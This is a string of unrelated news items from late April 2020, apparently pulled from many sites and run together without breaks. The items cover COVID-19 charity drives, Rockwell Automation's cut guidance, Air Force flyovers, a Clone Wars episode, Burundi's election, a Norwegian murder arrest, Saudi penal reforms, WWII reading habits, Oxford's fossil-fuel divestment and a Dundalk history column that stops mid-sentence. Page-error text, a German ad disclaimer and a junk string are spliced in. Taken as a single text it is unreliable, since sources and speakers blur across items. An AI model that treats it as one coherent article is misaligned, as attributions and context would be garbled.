community donations, the HSS Angels assembled 2,000 care packages of food, water and cards for the health care workers. The cards, which contained messages of gratitude for the workers, and the care packages were delivered to HSS in staff in Manhattan last week. Error. Page cannot be displayed. Please contact your service provider for more details. (17) WASHINGTON (dpa-AFX) - While reporting financial results for the second quarter on Tuesday, Rockwell Automation, Inc. (ROK) slashed its adjusted earnings and sales guidance for the full-year 2020, based on the information currently available amid the uncertainties associated with the magnitude and duration of the COVID-19 pandemic. For fiscal 2020, the company now projects adjusted earnings in the range of $6.90 to $7.70 per share on reported sales decline of 6.5 to 3.0 percent and organic sales drop 9.5 to 6.5 percent. Previously, the company expects adjusted earnings in the range of $8.70 to $9.10 per share on reported sales growth of 2 to 5 percent and organic sales change between a decline of 1.5 percent and a growth of 1.5 percent. On average, analysts polled by Thomson Reuters expect the company to earn $6.99 per share on a revenue decline of 6.2 percent to $6.28 billion for the year. Analysts' estimates typically exclude special items. Copyright RTT News/dpa-AFX Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. bstrong's COVID-19 response initiatives are centered around the shortage of medical and sanitization products in the marketplace. bstrong Global Empowerment Mission (GEM) is working directly with manufacturers to ensure the necessary Personal Protective Equipment (PPE) is sent to people and hospitals across the nation. They have committed to servicing up to 250 hospitals nationwide to get PPE to those in need. "The entire Cold Stone Creamery team has been passionate about finding ways we can do our part to support communities that have been affected by COVID-19 as well as other crises," said Sara Schmillen, Vice President of Marketing for Kahala Brands, parent company of Cold Stone Creamery. "We are proud to work with Bethenny Frankel's bstrong disaster relief efforts to provide real time assistance to individuals and families in crisis." To learn more, purchase your Give Back eGift card and make a difference please visit: https://coldstonecreamery.wgiftcard.com/responsive_auto/coldstone_resp/Virtual *Offer available online only from April 27 through May 31, 2020, while supplies last. Additional restrictions may apply. Purchaser receives the full value of the Give Back eGift. Proceeds will be based on the purchase of the specific limited edition Give Back eGift available via the Cold Stone Creamery website. Donation percentage is 10%, with a maximum donation of $100,000. More about bstrong The bstrong program is a disaster relief initiative that provides real time emergency assistance to individuals and their families in crisis with much-needed gift cards, bank cards and critical supplies. bstrong works with community partners on the ground throughout the affected areas to assess the most pressing needs and provide help. The supplies helps people deal with their immediate needs, and the gift and bank cards allows people to choose exactly what they and their families need when shopping is available. About Cold Stone Creamery Cold Stone Creamery delivers the Ultimate Ice Cream Experience through a community of franchisees who are passionate about ice cream. The secret recipe for smooth and creamy ice cream is handcrafted fresh daily in each store, and then customized by combining a variety of mix-ins on a frozen granite stone. Headquartered in Scottsdale, Arizona, Cold Stone Creamery is owned by parent company Kahala Brands, one of the fastest growing franchising companies in the world with a portfolio of nearly 29 fast-casual and quick-service restaurant brands with approximately 3,000 locations in 35 countries. The Cold Stone Creamery brand operates nearly 1,500 locations globally in approximately 30 countries worldwide. For more information about Cold Stone Creamery, visit www.ColdStoneCreamery.com. For more information about Kahala Brands, visit www.KahalaBrands.com. SOURCE Cold Stone Creamery Related Links https://www.coldstonecreamery.com Air Force update for COVID-19 By Secretary of the Air Force Public Affairs / Published April 27, 2020 WASHINGTON (AFNS) -- In an effort to minimize the spread of the coronavirus disease 2019 and to prioritize the health and safety of Department of the Air Force personnel, the following modifications have been made: April 27, 2020 In a show of national solidarity, the Navy Flight Demonstration Squadron, the Blue Angels, and the Air Force Air Demonstration Squadron, the Thunderbirds, will conduct a series of multi-city flyovers over the next two weeks. America Strong is a collaborative salute from the Navy and Air Force to recognize healthcare workers, first responders, and other essential personnel while standing in solidarity with all Americans during the COVID-19 pandemic. The first flyover will occur on April 28th over New York, New Jersey and Philadelphia. Read about the America Strong flyovers here: https://www.af.mil/News/Article-Display/Article/2165190/america-strong-blue-angels-thunderbirds-to-conduct-multi-city-flyovers-champion/ Learn more about the April 28th flyover here: http://afthunderbirds.com/site/2020/04/25/thunderbirds-blue-angels-to-salute-new-york-new-jersey-and-pennsylvania-covid-19-responders/ Whiteman Air Force Base, Missouri pilots are scheduled to fly over medical facilities in Kansas City, Missouri, April 28th to honor and express Whiteman AFB's gratitude for all medical and healthcare professionals, essential employees and volunteers in the fight against COVID-19. Read more about what to expect at the B-52 flyover in Kansas City, Missouri here: https://www.whiteman.af.mil/News/Article/2164532/whiteman-afb-b-2-stealth-bomber-a-10-and-t-38-jets-to-fly-over-kansas-city-in-s/ Gen. Mike Holmes, the commander of Air Combat Command, visited the service members of Task Force-Southeast at Shaw Air Force Base, South Carolina. Holmes toured several facilities to learn how the task force operates and about its mission to aid in the country's fight to combat COVID-19. Read more about his visit here: https://www.acc.af.mil/News/Article-Display/Article/2165072/commander-of-air-combat-command-visits-task-force-southeast/ U.S. Air Forces in Europe and Air Forces Africa Airmen around the theater have played a variety of roles in supporting the Department of Defense COVD-19 response. Several Airmen, however, have had the unique opportunity to directly assist the Italian air force, the French air force and the United Kingdom's Royal Air Force in their response efforts. Read more about this exchange here: https://www.usafe.af.mil/News/Article-Display/Article/2165482/military-personnel-exchange-program-officers-strengthen-partner-countries-milit/ As of Sunday, April 26, 55 days after the first COVID-19 case was diagnosed in New York, the New York National Guard had over 3,600 troops on duty as part of New York's response. Read more about their efforts here: https://www.dvidshub.net/news/368497/new-york-national-guard-sustaining-fight-against-covid-19-after-55-days-duty Nine members of the 167th Airlift Wing have been tasked with the production of a newly designed N95 mask alternative, April 24, 2020, Martinsburg, West Virginia. The Shepherd Mask gets its name from Shepherd University where it was designed. The Connecticut National Guard received a shipment of personal protective equipment to include 455,500 N95 medical masks, 325,000 surgical masks, 120,000 protective coveralls, and 4,500 ICU coveralls. The gear was shipped to the Connecticut Division of Emergency Management and Homeland Security commodities warehouse, where it is sorted and distributed to first responders and front line health care professionals through a joint operation with the Connecticut National Guard. The Alabama National Guard's Task Force 31 combats COVID-19 in McCalla as a part of a state wide operation to reduce potential fatal exposures to the coronavirus disease. Airmen with Task Force Oahu's COVID-19 response team donate blood to be used by service member's on the frontline, home front and civilian counterparts. The Armed Services Blood Program held a blood drive on April 24, 2020 See photos of their efforts here: https://www.dvidshub.net/image/6188320/task-force-oahu-hosts-blood-drive https://www.dvidshub.net/image/6188522/task-force-oahu-hosts-blood-drive Essential missions throughout the Air Force still continue even during this pandemic. Below are some links to stories on how these units have adapted to make sure they can continue to execute these missions despite COVID-19. Hickam AFB, Hawaii total force integration readiness - https://www.pacaf.af.mil/News/Article-Display/Article/2164469/team-hickam-total-force-integration-readiness/ USAF delivers medical supplies to Ghana - https://www.usafe.af.mil/News/Article-Display/Article/2165225/usaf-delivers-medical-supplies-to-ghana/ 9,000th F-35 maintainer headed to 419 FW: http://www.419fw.afrc.af.mil/News/Article-Display/Article/2161157/9000th-f-35-maintainer-headed-to-419-fw/ Dyess AFB, Texas is scheduled to host a virtual collider event April 28 - https://www.dyess.af.mil/News/Article-Display/Article/2163752/dyess-afb-to-host-virtual-collider-event/ A 104th Fighter Wing Pilot takes off amid COVID-19 and with blue skies up ahead - https://www.dvidshub.net/image/6188510/104th-fighter-wing-pilot-takes-off-amid-covid-19-and-with-blue-skies-up-ahead Refueling F-15C Eagles - https://www.usafe.af.mil/News/Article-Display/Article/2165180/refueling-eagles/ 86th SFS COVID-19 Operations - Intel squadron continues to make mission happen through COVID-19 - https://www.acc.af.mil/News/Article-Display/Article/2165653/intel-squadron-continues-to-make-mission-happen-through-covid-19/ Columbus AFB hosts Wings Over Columbus virtual air show on social media -Air Force Recruiting, 4th Fighter Wing fill void at NASCAR iRacing with innovation - https://www.aetc.af.mil/News/Article/2165135/air-force-recruiting-4th-fighter-wing-fill-void-at-nascar-iracing-with-innovati/ Air Force Totals of COVID-19 Positive Cases as of 9 p.m., April 26, 2020. CASES HOSPITALIZED RECOVERED DEATHS Military 347 (+4) 7 115 (+6) 0 Civilian 186 (+6) 10 (+1) 59 0 Dependents 213 (+6) 6 68 (+5) 0 Contractors** 75 (-7) 6 17 (-1) 1 Total 821 29 259 1 *These numbers include all of the cases that were reported since out last update, April 24th. **Corrects previous report. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address The most recent episode of Star Wars: The Clone Wars, The Phantom Apprentice, showed a conversation between Maul and Ahsoka that fans had no idea even happened. Thats obvious since this season is just premiering, but its more so the context of it all, especially Mauls proposition to Ahsoka. Should she have taken it? Would Ahsoka have gone to the Dark Side if she had chosen differently? Some of the stars and creators spoke about it, and its surprising where the story could have led. [Spoiler alert: Spoilers ahead for Star Wars: The Clone Wars Episode 10, Season 7]. Maul asks Ahsoka to join him one last time in Star Wars: The Clone Wars | Disney+ Mauls side might have actually been the better one for Ahsoka to choose, Sam Witwer said In a recent Clone Wars Download video on YouTube, Sam Witwer the voice of Maul talked about the massive significance of this moment with Maul and Ahsoka. Fans know that these two meet up roughly 15 years after this moment in Star Wars Rebels, and things arent really hostile between them. Although he does still try to gain power in some way through manipulation. However, this time around, he tries to appeal to Ahsoka and have her join his efforts against Sidious. Ahsoka is nearly swayed if it wasnt for his vision about Anakin, which she couldnt accept as truth. But what really makes this scene stick out is the fact that Mauls proposition might have been the best option for Ahsoka. What Clone Wars does, it sets up a Join me scene where, really, the good guy or good girl should say yes, possibly, Witwer said. That was the really fun riff we have there is that we havent seen a Join me scene where the bad guy actually has the better plan. Star Wars Join me scenes are abundant. Theres Darth Vader asking Luke to join him, father like son. Or Kylo Ren begging Rey to let go of the Light Side and the rebels, to join him to rule the galaxy. And lets not forget Padmes emotional plea to her husband Anakin after he proposes rule over the galaxy, as well. This surprise Join me scene between Maul and Ahsoka is so different because the audience knows Ahsokas side is about to crash and burn. The audience knows that Order 66, the Jedi Purge, is right around the corner. Maul hinted to it multiple times and Ahsoka can probably sense the impending doom through the Force. This is why, unlike all those scenes mentioned above, Ahsoka does actually accept, at first. She knows the Jedi are clouded by the Dark Side, and, honestly, their own delusions, as shes very aware of. Filoni explained that Ahsoka and Maul have a lot of similarities Dave Filoni, who is the supervising director and executive producer of the show, also said that Ahsoka can sense the truth in Maul and knows just how closely their experiences line up. This also plays a part in whether she joins him or not. I think a villain is most compelling when theyre largely telling the truth, Filoni said in the video. I think for Ahsoka, shes trying to balance the fact that she knows the Jedi are a bit blind to whats going on. She knows theyve made a lot of the wrong moves. She knows Maul was also ostracized by Darth Sidious. There is a lot of similarities between the two of them. Filoni points out that, between their similarities, and the fact that Ahsoka feels like an alliance could take Sidious down, she agrees to join him. Maul is the lesser of evils at this point, and the best choice as Witwer pointed out. However once she snaps out of it and her emotions take over thanks to her ties to Anakin, she wins their duel because of what shes fighting for. I always felt that Star Wars fights were all about the values of the two characters that are fighting, Witwer said. And thats what determines how the fight goes. Maul is not at his best when hes fighting to save the galaxy, and Ahsoka is at her best when shes fighting to save her friend. Ashley Eckstein, who voices Ahsoka, said that this sequence had some of the most difficult scenes to record for her because Ahsoka is so alone. She relies on her instincts and emotions in the end. Could Ahsoka have swayed closer to the Dark Side if she went with Maul? Dave Filoni isnt sure Filoni does point out that, even though Maul and Ahsoka share a lot of similarities and hes telling the truth, Ahsoka also has to take into consideration who shes dealing with. Maul isnt known to be the most trustworthy, and fans know how he tries to take Ezra as an apprentice in the future. Ahsoka definitely can sense that thirst for power coming from Maul and how it could negatively affect Ahsokas morals. Of course, the concern there has to be that Mauls actually seeking power for himself and powers intoxicating, Filoni said. And once you start down the dark path forever will it dominate your destiny. So as she gains greater power, how does she know the limit to whether shes making the right decision or the wrong decision? And Ahsokas choice, Mauls offer, is all part of that bigger opera of the battle between being selfish or selfless. Filoni said in the past that Ahsoka is on a path of selflessness, very similar to Qui-Gon Jinns story. We know she takes this route, but had she chosen Mauls, what could have happened? Well never know, but its very interesting to ponder. On Monday 27 April, the electoral campaign begins in Burundi for the triple ballot scheduled for 20 May: elections for deputies and local councilors, but also for the President of the Republic. The campaign will end on 17 May. For the presidential election, seven candidates will try to convince voters during the three weeks of campaigning. Among them is first and foremost General Evariste Ndayishimie, who will wear the colors of the ruling CNDD-FDD party. He is the runner-up to Pierre Nkurunziza, the current head of state, who is not standing for re-election.>D3es In particular, he will face the one who is presented as the main opponent, Agathon Rwasa, leader of the new National Council for Liberty, the CNL, which was approved a little more than a year ago. There will also be Domitien Ndayizeye, transitional president between 2003 and 2005, who is currently at the head of the Kira Burundi coalition. Like three other contenders, his candidacy was initially rejected by the Electoral Commission (Ceni), but he finally won after an appeal to the Constitutional Court. A campaign that will also be threatened by the coronavirus. Fifteen cases have been officially reported and one death has occurred in the country. And while the Ministry of Health has issued recommendations including handwashing points no restrictions have yet been announced on public meetings and gatherings. (Newser) One of Norways wealthiest men was arrested Tuesday in connection with his wife's 2018 disappearance and held on suspicion of murder or complicity to murder in a case that police had earlier thought was a kidnapping. Tom Hagen, a real estate investor and owner of an electric company, was arrested on his way to work, chief police investigator Tommy Broeske said. The case had made headlines in the Scandinavian country, where police first reported that Anne-Elisabeth Falkevik Hagen had been abducted, per the AP. Police had been told of her disappearance on Oct. 31, 2018, but they didnt publicly speak about it until Jan. 9, 2019, after which hundreds of tips poured in. "The case is characterized by a clearly planned deception, said Broeske. "As other hypotheses have been weakened, suspicions against Tom Hagen have gradually been strengthened." story continues below A prosecutor said that authorities would seek to hold Hagen for four weeks in pretrial custody and that more arrests were possible. Police declined to elaborate on a motive. The 69-year-old childhood sweetheart that Hagen married at age 19 disappeared from the couple's home in Loerenskog, authorities said. A ransom for her release was demanded, police said in January 2019, but they declined to give the amount. In June 2019, police changed their main hypothesis because of the absence of any signs that the missing woman was still alive. They believe Falkevik Hagen, who has never been found, had been killed and said they "cannot exclude a staged kidnapping to hide it." Tom Hagen, from a farming family of 12 children, struck it rich in the real estate business he started in 1978. His fortune is estimated to be about $161 million. (Read more Norway stories.) Shimla, April 28 : Himachal Pradesh Chief Minister Jai Ram Thakur on Tuesday urged Prime Minister Narendra Modi to bring a special ordinance so that funds available with the Building and Other Workers Welfare Board can also be used for the welfare of unorganised and other workers. In a letter to the Prime Minister, the Chief Minister said about Rs 582 crore is available with the Himachal Pradesh Building and Construction Welfare Board. The number of migrant and unorganised workers in the state is very high and in view of the economic condition of the state government, the need is to provide help to the poor labourers. The Chief Minister said under the Building and Other Construction Workers Act of 1996, there is a provision to use this amount for the welfare of buildings and other workers. But it can only be used for registered workers, which is also the order of Supreme Court. Thakur said the state has provided minimum wages and basic services to the workers of industrial and all other sectors of the state. He said the state has sanctioned Rs 2,000 crore to the registered building and construction workers from the Building and Construction Workers Welfare Fund for March and April and this amount is being transferred directly to their bank accounts. These are unprecedented timesbut, even so, comparisons are being made to the World War II in terms of the magnitude of the crisis that coronavirus represents. Some of this rhetoric is unhelpful but, as we bunker down into our homes and the government gets on a war footing, there is little doubt that the challenge to our liberty, leisure time, and sense of well-being is real. With early reports that book sales are soaring while bookshops and warehouses close down and publishers reassess their lists, what can the reading patterns of an earlier generation tell us about getting through a crisis and staying at home? The restrictions at the beginning of World War II affected all aspects of day-to-day life. But it was the blackout that topped most peoples list of grievancesabove shortages of food and fuel, the evacuation, and lack of news and public services. Households were reprimanded and fined for showing chinks of light through windows, car lights were dimmed, and walking around, even along familiar streets, late at night became treacherous. With the widespread limitations to free movement, the book trade was quick off the mark. Books were promoted by libraries and book clubs as the very thing to fight boredom and fill blacked-out evenings at home or in shelters with pleasure and forgetfulness. Books may become more necessary than gas-masks, the Book Society, Britains first celebrity book club, advised. Selling Tales Ive been researching the choices and recommendations of the Book Society for the past few years. The club was set up in 1929 and ran until the 1960s, shipping carefully selected books out to thousands of readers each month. It was modeled on the success of the American Book-of-the-Month club (which launched in 1926) and aimed to boost book sales at a time when buying books wasnt common. It irritated some critics and booksellers who accused it of dumbing down and giving an unfair advantage to some books over othersbut was hugely popular with readers. The Book Society was run by a selection committee of literary celebritiesthe likes of J.B. Priestley, Sylvia Lynd, George Gordon, Edmund Blunden, and Cecil Day-Lewischaired by bestselling novelist Hugh Walpole. Selections were not meant to be the best of anything, but had to be worthwhile and deserving of peoples time and hard-earned cash. Guaranteeing tens of thousands of extra sales, the club had a huge impact on the mid-20th-century book trade, with publishers desperate to get the increased sales and global reach of what publisher Harold Raymond called the Book Society bun. Books Will Go On The Book Society guided readers through the confusion of appeasement and the run-up to World War II with a marked increase in recommendations of political non-fiction examining contemporary geo-politics. The classic novel of appeasement was Elizabeth Bowens The Death of the Heart (Book Society Choice in October 1938) in which a sense of malaise and inevitability of future war haunts the characters desperate actions. When Britain finally declared war against Germany in September 1939, the Book Society judges were divided. Some were relieved that, as George Gordon put it, an intolerable situation has at last acquired the awful explicitness of war. But others were devastated, especially Edmund Blunden who was still traumatized from fighting in the first world war. The judges advised members that when they became weary of news, people will turn to books as the best comfort, as had happened in World War I with the increase in reading and library membership. Publishers and booksellers faced huge challenges during World War II, including paper shortages, problems in distribution, a vanishing workforce, and bomb damage to offices and warehouses. But there were more readersand from a wider social classat the end of it. Demand consistently outstripped supply as consumer expenditure on books more than doubled between 1938 and 1945. What People Were Reading Throughout World War II, the Book Society varied its lists between books that offered some insight on the strangeness of contemporary life and works of fictionespecially historical fictionthat took readers minds off it. Titles in the first group include comic novels by the likes of E.M. Delafield and Evelyn Waugh, as well as forgotten bestsellers like Ethel Vances Escape (1939) (an unlikely thriller set in a concentration camp) and Reaching for the Stars (1939), American journalist Nora Walns inside account of life in Nazi Germany. More topical non-fiction became a priority as the devastation of the Blitz kicked in. Winged Words: Our Airmen Speak for Themselves (1941) and Into Battle: Winston Churchills War Speeches (1941) were especially popular. Historical fiction was consistently in demand. Half the clubs choices in 1941 were long novels with historical settings. As todays readers prepare to batten down the hatches with Hilary Mantels 900-page latest book, it is sobering to reflect on how an imaginative connection with the past has long helped readers find relief from the madness of the present. The other fail-safes in World War II were the classics. As books already in print became scarce, the Book Society reissued new editions of Jane Austens Pride and Prejudice, and Tolstoys War and Peace and Anna Karenina. These were books that Walpole said he believed he could sit down with even through an air raid. Indeed, Nielsen BookScan has reported a rise in sales of classic fiction as the coronavirus crisis deepensincluding War and Peaceas readers use this unfamiliar time to knuckle down to the heavyweights. You can also join a War and Peace reading group online if you want a bit of company. After the homeschooling, working from home, and everything else. Here goes. Nicola Wilson is an associate professor in book and publishing studies at the University of Reading in the UK. This article was originally published on The Conversation. (The Federal Bureau of Prisons) is taking in a whole slew of factors in determining who to release and when, including vulnerability and age of the inmate ... making sure that the inmate has a verifiable release plan. They are looking at the length of time the inmate has served. Their history of violence," Kirsch said. Human rights campaigners on Monday cautiously welcomed Saudi moves to abolish court-ordered floggings and end the death penalty for crimes committed by minors, but pointed out "loopholes" in the reforms. The changes underscore a push by de facto ruler Crown Prince Mohammed bin Salman to modernise the ultra-conservative kingdom, long associated with a fundamentalist strain of Islam. Long faced with scrutiny over its rights record, the kingdom has one of the world's highest rate of executions. It announced over the weekend it was ending the death penalty for those convicted of crimes committed while they were minors as well as effectively eliminating floggings. "While the announced changes represent a major step forward, there remain questions about the extent of their implementation," Adam Coogle, Middle East researcher at Human Rights Watch, told AFP. "Saudi Arabia's announced abolishment of the death penalty for child offenders and flogging punishment are not total, but appear to leave in a loophole for them to continue as punishments for certain types of crimes." Saudi Human Rights Commission president Awwad Alawwad said that instead of court-ordered floggings, convicts will receive fines or prison terms. But flogging could still be applied as a "hudud" punishment, which under Islamic sharia law is reserved for serious offences including adultery. Saudi officials say hudud penalties are rarely meted out as many offences must be proved by a confession or be verified by several adult male Muslim witnesses. Still, observers say the government is unlikely to abolish the penalties entirely as the move would rankle arch-conservatives. Many hardliners are already irked by the Muslim kingdom's sweeping liberalisation drive that has allowed activities once deemed un-Islamic -- cinemas, concerts and mixed-gender parties. - 'Modern penal code' - Citing a royal decree, the HRC said those convicted of crimes while they were under 18 will now receive a prison sentence of no longer than 10 years in a juvenile detention facility. But campaign group Reprieve said "significant loopholes" in the reform still let prosecutors "continue to seek death sentences against children". It also remains unclear whether the new decree will be applied retroactively, the group added. At least six men from the minority Shiite community are on death row on terrorism-related charges after taking part in anti-government protests as minors, during the Arab Spring uprisings. United Nations human rights experts made an urgent appeal to Saudi Arabia last year to halt plans to execute them. Saudi authorities have not said whether their sentences will be commuted. "These will be nothing more than empty words as long as child defendants remain on death row," said Reprieve director Maya Foa. "The kingdom continues to execute people convicted of attending demonstrations while they were still in school." But Alawwad insisted the decree is aimed at establishing a "more modern penal code" and said "more reforms" were coming. The kingdom is seeking to blunt international criticism over its rights record and its opaque judicial system, especially since the October 2018 murder of journalist Jamal Khashoggi and a sweeping crackdown on critics. Activists are sceptical that the reforms will see political prisoners released, pause a government crackdown on dissent or end executions. It executed at least 187 people in 2019, according to a tally based on official data, the highest since 1995 when 195 people were put to death. While the reforms represent "a significant step for Saudi Arabia if implemented, the country's continued use of the death penalty reached a shocking high last year," said Heba Morayef, from Amnesty International. "It should also not be forgotten that dozens of peaceful activists remain detained following convictions in grossly unfair trials solely for campaigning for equality and justice in a vastly repressive environment." Two more residents of Participation House in Markham have died from COVID-19, Markham Mayor Frank Scarpitti says. Forty of the 42 residents at the facility for physically and mentally challenged adults have tested positive for the novel coronavirus. As of Tuesday morning, 38 health care workers at the facility have tested positive for the virus. Our deepest condolences to the families of two @PHMarkham residents who passed away, bringing the total number of deaths to six, Scarpitti tweeted Tuesday. Our hearts, thoughts and prayers are with their loved ones and their Participation House family. We are respecting their privacy at this time. The facility has struggled with understaffing after most of its personal support workers walked off the job, fearing for their safety when they learned of an outbreak this month. As of Monday evening, York Region has reported 87 COVID-19 related deaths. The fifth Participation House resident to die reportedly experienced onset symptoms on April 15, and received a positive test result on April 17. That resident died Friday at Markhams Stouffville Hospital, according to the regions public health unit. Margaryta Ignatenko is a breaking news reporter, working out of the Stars radio room in Toronto. Follow her on Twitter: @MargarytaIgnat1 Read more about: Source: Xinhua| 2020-04-28 11:45:19|Editor: huaxia Video Player Close BEIJING, April 28 (Xinhua) -- Chinese scientists have developed a skin-like integrated optoelectronic system that can be used as a wearable device for blood pressure monitoring. Developed by researchers from Tsinghua University, the system looks like a thin and soft bandaid, which can be attached to human skin to achieve dynamic monitoring of blood pressure and blood oxygen and can wirelessly transmit the data to smart terminals in real-time. Non-invasive continuous blood pressure monitoring is key to the treatment of cardiovascular diseases. However, the most commonly used blood pressure cuff is inconvenient and difficult to realize continuous blood pressure monitoring. Researchers developed a strategy for blood pressure monitoring based on optical principles and used biocompatible materials to fabricate a skin-like optoelectronic system that can be conformally attached to human skin. By measuring the absorption of light with different wavelengths by the blood, the volume and velocity of blood can be measured to calculate blood pressure and blood oxygen. The system can be attached to the wrist, and the measured data can be transmitted to terminals such as smartphones in real-time through an integrated Bluetooth chip. The system can overcome noise interference caused by motion and can be used while moving. Clinical trials showed that the system can measure blood pressure with an absolute error of less than 10 mmHg, which can meet the standard of medical monitoring. The system benefits from the innovation of theoretical model and device design and presents a novel strategy for achieving long-term dynamic monitoring of blood pressure and blood oxygen, according to the team. The research was published in the journal National Science Review. Enditem Local Communities Organize 100K Frontline Meals, $1M to Restaurants All Over the US Through Give InKind's Free Platform By showing our gratitude with meals, we not only nourish our care providers, we have an opportunity to put much needed funds back into our local restaurants and small businesses. This is a shining moment for community support, and we believe it should be easy to give that help, from anywhere. In just one month, communities across the country have come together to organize more than 100,000 meals for healthcare workers and first responders on Give InKind, putting $1 million directly back into local restaurant economies. Starting April 28th, National Superhero Day, Give InKind is celebrating these incredible donations by making it easier for anyone to help #FeedTheFrontlines. Recognizing the impact these meals have not only on healthcare teams, but also on small businesses across the US, Give InKind is making it possible for anyone to sponsor 1, 4, 10, or 40+ meals for frontline heroes. Founder and CEO, Laura Malcolm, is aiming to give new meaning to National Superhero Day this year. Our front-line teams are working tirelessly to bring our communities back to health. By showing our gratitude with meals, we not only nourish our care providers, we have an opportunity to put much needed funds back into our local restaurants and small businesses. This is a shining moment for community support, and we believe it should be easy to give that help, from anywhere. Give InKind, along with regional sponsor Sobi, Inc., is celebrating this tremendous 100k meal milestone by providing meals to thousands of frontline healthcare workers across the country in cities including Chicago, Seattle and Houston, on National Superhero Day. Jamie Billow, Founder of Chicago Food Truck Hub, says of the opportunity to provide 1,000 meals on a single day in Chicago: "Working with Give InKind for National Superhero Day provides Chicago Food Truck Hub an opportunity to leverage its partner network of over 100 food trucks, restaurants and caterers to do good and make a significant impact locally. In addition to coordinating Give InKind's initiative to distribute meals to over 1,000 frontline workers across hospitals in Chicago and the suburbs, we are also supporting 16 small businesses, who are instrumental in implementing this effort. This is impactful for each of the businesses involved, who are proud to be part of such a great cause and are also glad to be able to provide hours for their teams in a challenging environment." Give InKind is a free platform for coordinating support and is being used by over 160+ hospitals, clinics and volunteer organizers across the country to organize the generous meal donations coming in from community members, businesses, and restaurants. In addition to feeding hospitals and healthcare teams, Give InKind is used to coordinate support for individuals, families and organizations, whether for Coronavirus/COVID-19 related assistance, or help staying home and healthy with a new baby, after surgery, through cancer treatment or after a loss. Anyone can set up a free page on Give InKind to help loved ones, from near or far. The government rejected on Tuesday a recommendation by the US Commission on International Religious Freedom (USCIRF) that the Trump administration add India to a list of countries seen as systematic and egregious violators and sanction Indian government agencies and officials responsible for it. The USCIRF cited the Citizenship (Amendment) Act, which fast-tracks Indian citizenship for non-Muslim refugees fleeing persecution, and nationwide campaigns of violence against religious minorities as its reasons. We reject the observations on India in the USCIRF annual report. Its biased and tendentious comments against India are not new, said external affairs ministry spokesperson Anurag Srivastava. But on this occasion, its misrepresentation has reached new levels... We regard it as an organisation of particular concern and will treat it accordingly. The commission has recommended that the US designate India a Country of Particular Concern for engaging in...religious freedom violations. At the University of Southwestern Louisiana (now the University of Louisiana at Lafayette) Ms. Girouard met Dickie Landry, a saxophone player, composer and later a member of the Philip Glass Ensemble, and fell in with a group of musicians who had deep Cajun roots. In a conversation in the art magazine Avalanche in 1973, Ms. Girouard said that living around jazz and blues musicians instilled in her a conviction that art was, at its core, collaborative. In the winter of 1969, she and Mr. Landry drove to New York City and soon, along with the painter Mary Heilmann, moved into a near-derelict building in Chinatown at 10 Chatham Square. It soon became a bunkhouse for dozens of artists and musicians over a fevered six years. We could have struck a match and the whole building would have burned down it was a dump, said Mr. Landry, who married Ms. Girouard in 1971. But then again, Tina and I had two entire floors for $500. Everything was very revved up. Tina just fed off of that. We all fed off of each other. We ate together and played together and some of us slept together. Ms. Girouard and other Chatham occupants were among the cross-pollinating members of 112 Greene Street, an improvisational art space in SoHo that the sculptor Jeffrey Lew and his wife, Rachel Wood, a dancer, opened in 1970, along with Mr. Saret and Mr. Matta-Clark. The space hosted exhibitions and performances by an astounding array of emerging artists, including Richard Serra, Spalding Gray, Alice Aycock, Laurie Anderson, Richard Nonas, Chris Burden, Ms. Girouard and Mr. Matta-Clark, who planted a cherry tree in the basement and forced it to bloom in winter by infrared light. (In 1979, 112 Greene Street became the nonprofit alternative gallery White Columns, which operates today on Horatio Street.) Oxford University has said it will cut ties to the fossil fuel industry and demand its fund managers show evidence of net zero carbon business plans. The institution, whose alumni pack the offices of the world's leading oil and gas firms, declared its billions would comply with 2016 UN Paris Agreement, which aims to keep global warming below 2C (35.6F). Vice-chancellor Louise Richardson said Oxford had to take up the mantle of 'reducing carbon emissions and tackling climate change before it is too late.' The Oxford Climate Justice Campaign has been campaigning for the university to stop investing in fossil fuels (demonstrators on King's College quadrangle) The Oxford Climate Justice Campaign, which has been petitioning Professor Richardson to adopt the resolution, heralded its 'historic importance.' OCJC member Anna Olerinyova told the BBC: 'The age of fossil fuels is rapidly coming to an end. We hope the message from Oxford to the world is clear; listen to the science, prepare for the future and ditch fossil fuels.' Oxford University Endowment Management (OUem) oversees more than 3 billion in investments on behalf of colleges and trusts throughout the university. Since 2007, OUem has reduced investments within the energy sector from around 8.5 percent to 2.6 percent. The university notes that this includes renewable energy, with just 0.6 percent invested in fossil fuels. Since 2007, OUem has reduced investments within the energy sector from around 8.5 percent to 2.6 percent. The university notes that this includes renewable energy, with just 0.6 percent invested in fossil fuels Prof. Richardson said: 'Oxford is a global pioneer in many areas of environmental research and science, from climate economics to biodiversity, energy use, and climate change modelling. 'I am very grateful to all the staff and students who came together to develop this new and exciting agreement on investment which I warmly welcome. 'Coupled with our research strengths, our new approach will enhance our position as a world leader in reducing carbon emissions and tackling climate change before it is too late.' A friend of mine who lives in the Point Road area of Town tells me that the Navvy Bank Walkway has been crowded with people taking advantage of the permission to exercise within two kilometers of their homes during the fine weather that has persisted over Easter Week. Some nearby residents are not too happy about this influx but, presumably, they are all citizens of Dundalk and entitled to be there, provided they observe 'social distancing' that is mandatory during the current Corvid 19 pandemic! The problem is that the Navvy is the only decent stretch of pedestrianised walkway of any great length on the eastern side of Dundalk and is not really capable of providing spaced-out movement of people in the present conditions! Most Dundalk people have great pride in the Navvy Bank amenity and it is very interesting to reflect how it came to be there in the first place! You see, up to 180 years ago this walkway did not exist and the tide came right up to the Point Road which, at the time, was known as the Shore Road leading down to Soldiers Point. The old name then transferred to the cul-de-sac road that leads from the Red Barns Road down to the Sea Rampart which runs from the Soldiers Point over to the Loakers at the north end of Blackrock. The old Shore Road then became known as the Upper and Lower Point Road. There have been numerous efforts to extend the Bay Walkway from the back of the Coast Guards houses, along the Sea Rampart, and to extend it across the Loakers to McGuigan's Rock. This would be a great development but money to carry out this work has always been a difficulty. Much research has been carried out on the ecology of the salt marsh in front of the Sea Rampart since the beginning of the present century and I am told that there has been promises recently of money from central government to start work on the development of this amenity. The present pandemic, however, must have thrown all this into doubt and I fear that many, even much younger than me, will not now see it happen in their lifetime. The origins of the name To get back to the origins of the existing Navvy Bank, many 